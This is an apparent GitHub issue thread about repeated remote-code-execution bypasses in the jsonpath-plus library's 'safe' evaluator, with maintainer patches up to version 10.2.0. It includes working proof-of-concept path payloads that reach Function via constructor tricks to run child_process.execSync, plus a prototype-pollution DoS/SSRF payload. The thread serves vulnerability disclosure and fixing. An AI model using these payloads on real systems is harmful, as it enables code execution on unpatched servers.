Remote Code Execution (RCE) is still possible

[03sunf]

Describe the bug

JSONPath Plus Remote Code Execution (RCE) Vulnerability has been patched in version 10.0.0, but Remote Code Execution (RCE) is still possible with the payload below as the path value.

Code sample or steps to reproduce

const { JSONPath } = require("jsonpath-plus");

// jsonpath-plus == 10.0.0
// $[?(var _$_root=[].constructor.constructor("console.log(this.process.mainModule.require(\\"child_process\\").execSync(\\"id\\").toString())");@root())]

const result = JSONPath({
    path: '$[?(var _$_root=[].constructor.constructor("console.log(this.process.mainModule.require(\\"child_process\\").execSync(\\"id\\").toString())");@root())]',
    json: { a: "x" },
});

Expected behavior

• Potential Remote Code Execution (RCE)
• Potential Cross-site scripting (XSS)

Environment (IMPORTANT)

• JSONPath-Plus version: 10.0.0

Desktop**

• OS: macOS
• Node Version v21.7.3

CC @shpik-kr

[brettz9]

Our "safe" vm had an issue here, so switching to use that vm by default indeed did not fix the RCE bug. I've released a new patch for the safe vm which throws upon Function access within member expressions. If there are other pathways to Function or such, they may still be vulnerable.

[ChrisWarnerMA]

This is still being flagged as vulnerable by Snyk.

[chaitanyareddy-mula]

I am not sure why this is closed. I see still synk is throwing RCE.

[brettz9]

I have communicated to Synk that this issue should now be resolved (at least with the example reported). It is up to them to find the time to review and update their records.

[80avin]

A note.
The fix included will also prevent following, though not sure why would anyone expect it.

const { JSONPath } = require('jsonpath-plus');

JSONPath({ path: '$[?(_$_root.a)]', json: { a: Function } });

[brettz9]

I've released 10.0.2 to fix a vulnerability not addressed by 10.0.1. Just reported the update to Synk as well.

[brettz9]

And released 10.0.3 to fix another workaround I realized was still possible. Also reported the update.

[brettz9]

Released 10.0.4 to fix another possible evasion. Too many ways to evade detection.

[zmiele]

@brettz9 With the large amount of possible evasion methods, would it be worth considering making eval: false the default behavior for nodejs?

[brettz9]

@zmiele : I think that would really gut the library given how frequently filters are used and expected. Since we have been fixing all known vulnerabilities, and since the "safe" evaluator is a subset of JavaScript under our control, I think we should be able to get it right. It's just not such a trivial matter and could benefit from review by more eyes, especially those familiar with security circumvention techniques.

[03sunf]

Hi @brettz9 !
thank you for sharing and update.
since jsonpath-plus version 10.0.5 is allowing to use function code native, RCE is possible via below paylaod

// "jsonpath-plus": "^10.0.5",
const { JSONPath } = require("jsonpath-plus");

JSONPath({
    path: '$[?(var _$_root=constructor.constructor.call([],"console.log(this.process.mainModule.require(`child_process`).execSync(`id`).toString())");@root())]',
    json: { a: 1 },
});

[brettz9]

Thanks... Should now be preventing Function.prototype.call/apply workaround in 10.0.6.

[03sunf]

@brettz9
oh I just saw your comment, thank you for update!

Just my opinion, but I don't know if it will help.
How about throwing an error when the name of the property/object is a constructor in evalMemberExpression?

  evalMemberExpression(ast, subs) {
    if ((ast.property.type === "Identifier" && ast.property.name === "constructor")||(ast.object.type === "Identifier" && ast.object.name === "constructor")) throw new Error("cannot read property 'constructor'")
    const prop = ast.computed ? SafeEval.evalAst(ast.property) // `object[property]`
    : ast.property.name; // `object.property` property is Identifier

Except in situations where external functions are passed via json, as shown below, It could prevent to access Function🤔

const { JSONPath } = require("jsonpath-plus");

JSONPath({
    path: '$[?(@root.a.get(constructor, "constructor").call([]"console.log(123)")())]',
    json: { a: Reflect },
});

[brettz9]

@03sunf : I've sent you an email. Thanks!

[brettz9]

10.0.7 should have fixed another vulnerability (though we're now up to 10.1.0). Please watch new releases for any further updates. I can, however, add an update here if Snyk reports back.

[pabloopez]

Hi @brettz9 I am trying to reproduce the vulnerability reported and fixed in this thread. I am using older versions of the package, without success.

For context, I create hands-on labs to learn about Runtime Security (threat detection), Vulnerability Management, and compliance. I would like to include this CVE as an example of a vulnerability discovered and fixed, how to detect an RCE exploit, and how to mitigate it and reduce risk with VM tools.

I have reviewed all the information available but still can't reproduce the vulnerability. Can we take a look together to understand which steps I should follow?

Here's my setup: https://gist.github.com/pabloopez/da3a7f5ca5631b3dc00d7d9d3790b9af

Using nodejs version 18 and JSONPath-plus vs 9.0.0

Any comment is welcomed!

[brettz9]

@pabloopez : Send me an email at brettz9@yahoo.com

[pabloopez]

Hi @brettz9!!

I was able to reproduce it yesterday night. Sorry for not updating you on the issue. We have a working demo for the training that explains how to detect and respond to threats.

[DBaack11]

@brettz9 It looks like Snyk has been updated post 10.1.0 and is still reporting the RCE as possible with the following POC:

const pathDoS =
  "$[?(con = constructor; dp = con.defineProperty; gopd = con.getOwnPropertyDescriptor; f = gopd(con, 'entries').value; alt = gopd(con.getPrototypeOf(f), 'apply'); dp(con.getPrototypeOf(_$_root.body), 'toString', alt);)]";
const pathSsrf =
  "$[?(con = constructor; dp = con.defineProperty; dp(con.prototype, 'referrer', _$_root.referrer); dp(con.prototype, 'method', _$_root.method); dp(con.prototype, 'body', _$_root.body);)]";

const result = JSONPath({
  json: {
    referrer: {
      value: "http://authorized.com",
      writable: true,
    },
    method: {
      value: "POST",
      writable: true,
    },
    body: {
      value: "Hello, World!",
      writable: true,
    },
  },
  path: pathDoS,
});

result.toString(); //DoS

[80avin]

@DBaack11 I've fixed and added this as a unit test in #233

[brettz9]

Thanks for the PR, @80avin !

Released as part of v10.2.0.

[DBaack11]

@brettz9 Do updates have to be manually reported to Snyk or will they automatically test and update the vulnerability?

[hqtoan94]

It's been picked up @DBaack11 , but the issue still remains.
https://security.snyk.io/package/npm/jsonpath-plus

[brettz9]

@DBaack11 : In the past, they seem to have tested without reporting, but I've reported it just now just in case.

@hqtoan94 : I'm guessing they may just default to assuming it is not fixed until they have time to review. I haven't been informed of there still being issues, but we'll see.

[hqtoan94]

Thanks for the information, @brettz9 . Looking forward to hearing from them soon for some updates.

[DBaack11]

@hqtoan94 I confirmed locally that 10.2.0 fixed the current POC reported by Snyk. We'll see if it's resolved when they review.

@brettz9 I believe you are correct, looks like it automatically increments. Thank you for being so responsive!

[protchenkos]

Fix seems to be reviewed by Snyk team now and ^10.2.0 is considered to be safe now. https://security.snyk.io/vuln/SNYK-JS-JSONPATHPLUS-7945884
Thank you!